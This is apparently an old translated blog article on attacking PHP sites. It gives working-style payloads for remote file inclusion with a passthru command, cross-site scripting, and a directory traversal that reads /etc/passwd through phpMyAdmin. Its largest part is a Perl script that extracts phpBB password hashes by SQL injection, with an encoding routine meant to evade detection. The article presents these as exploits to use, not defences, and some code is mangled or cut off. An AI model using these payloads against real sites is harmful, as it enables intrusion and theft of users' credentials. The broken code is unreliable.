Common PHP page vulnerability analysis and related problem solving
Author：Eve Cole
Update Time：2009-06-02 18:07:08
Judging from the current network security, the WEB page vulnerability that everyone is most concerned about and exposed to the most should be ASP. In this regard, Xiaozhu is an expert, and I have no say. However, from the perspective of PHP, there are also very serious security vulnerabilities. Problem, but there are not many articles in this area. Here, let’s briefly discuss the related vulnerabilities of PHP pages.
I have made a summary of the current common PHP vulnerabilities, which are roughly divided into the following categories: including file vulnerabilities, script command execution vulnerabilities, file leak vulnerabilities, SQL injection vulnerabilities, etc. Of course, as for some common technologies such as COOKIE spoofing, I won’t discuss it here, there is a lot of information about it online. So, let’s analyze how to exploit these vulnerabilities one by one!
First, let’s discuss the included file vulnerability. This vulnerability should be said to be unique to PHP. This is due to insufficient processing of externally provided malicious data, which allows remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with WEB process permissions. Command. Let's look at an example: Suppose there is such a code in a.php:
include($include."/xxx.php");
?>
In this code, $include is generally a path that has been set up, but we can achieve the purpose of attack by constructing a path ourselves. For example, we submit: a.php?include=http://web/b. php, this web is the space we use to attack. Of course, b.php is the code we use to attack. We can write something like: passthru("/bin/ls /etc") in b.php ; code. In this way, you can perform some purposeful attacks. (Note: The web server should not be able to execute PHP code, otherwise problems will occur. For relevant details, you can see << How to attack common vulnerabilities in PHP programs >>). In terms of this vulnerability, there are many problems, for example: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart and many more.
Next, let’s take a look at the script command execution vulnerability. This is due to the lack of sufficient filtering of URI parameters submitted by users. Submitting data containing malicious HTML code can trigger a cross-site scripting attack and may obtain sensitive information of the target user. Let us also give an example: the index.php page in PHP Transparent PHP 4.3.1 or below lacks sufficient filtering of PHPSESSID. We can achieve the purpose of attack through such code:
http://web/index.php?PHPSESSID =">In script, we can construct functions to obtain some sensitive information of users. There are relatively few vulnerabilities in this regard. In addition to PHP Transparent, there are also: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Then, let's take a look at the file disclosure vulnerability. This vulnerability is due to the lack of sufficient filtering of user submitted parameters. Remote attackers can use it to conduct directory traversal attacks and obtain some sensitive information. Let's take the recently discovered phpMyAdmin as an example. In phpMyAdmin, the export.php page does not fully filter the 'what' parameter submitted by the user. A remote attacker can bypass this by submitting data containing multiple '../' characters. Overcome WEB ROOT restrictions and view any file information on the system with WEB permissions. For example, entering such an address: export.php?what=../../../../../../etc/passwd%00 can achieve the purpose of file leakage. In this regard, it is relatively There are more: myPHPNuke, McNews, etc.
Finally, we are back to the most exciting place. Think about how fun it is to use SQL injection in asp pages. In the past, we had to inject manually until Xiaozhu figured out the "SQL injection secret book" (hehe), and then After the launch of NBSI, our NB Alliance really made a big difference. We have helped find loopholes in large websites such as CSDN, Monopoly Forum, and China Channel. (I won’t go into more nonsense about this, it’s a bit off topic...). Let’s get back to the topic. In fact, SQL injection in asp is roughly the same as SQL injection in php. Just pay a little attention to the few functions used. Change asc to ASCII, len to LENGTH, and other functions are basically Nothing has changed. In fact, when everyone sees SQL injection in PHP, do they all think of PHP-NUKE and PHPBB? Yes, as the saying goes, you can score big points. Forums like Dongwang should be the king of vulnerabilities in the ASP world. This is not to say that the security of its forum is too poor, but that it is too well-known. The more others use it, the more people will research it, and the more security holes will be discovered. The same is true for PHPBB, and now a large number of If people use PHP to build a forum, they usually choose PHPBB. Its vulnerabilities are always emerging, from the earliest vulnerabilities discovered in the phpBB 1.4.0 version of phpBB.com to the latest groupcp.php in the phpBB 2.0.6 version. , as well as search.php, profile.php, viewtopic.php, etc. that were discovered before, there are probably a dozen or so. This has always led to some people using it as an experimental product when studying PHP vulnerabilities, so-called After a lot of practice, I believe that PHPBB will get better and better in the future.
Okay, let's analyze the cause of the vulnerability. Take the viewtopic.php page as an example. When calling viewtopic.php, the "topic_id" is obtained directly from the GET request and passed to the SQL query command without executing it. With some filtering processing, the attacker can submit a special SQL string to obtain the MD5 password. Obtaining this password information can be used for automatic login or brute force cracking. (I don’t think anyone would want to do brute force cracking, unless there is a particularly important reason). Let’s take a look at the relevant source code first:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
From the above we can see that if the submitted view=newest and sid is set to a value, the executed query code looks like the following (if you haven’t seen the PHPBB source code, I suggest you read it and then come here Look, the affected systems are: phpBB 2.0.5 and phpBB 2.0.4).
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick provided the following test code:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtypen";
$p = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@n ";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0nn";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # replace this for pgsql or remove it
print $socket "Host: $remotenn";
while ($answer = <$socket>)
{
if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=#
{
$p .= chr ();
}
}
close($socket);
}
print "nMD5 Hash for uid $uid is $pn";
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = "";
for($i=0; $i
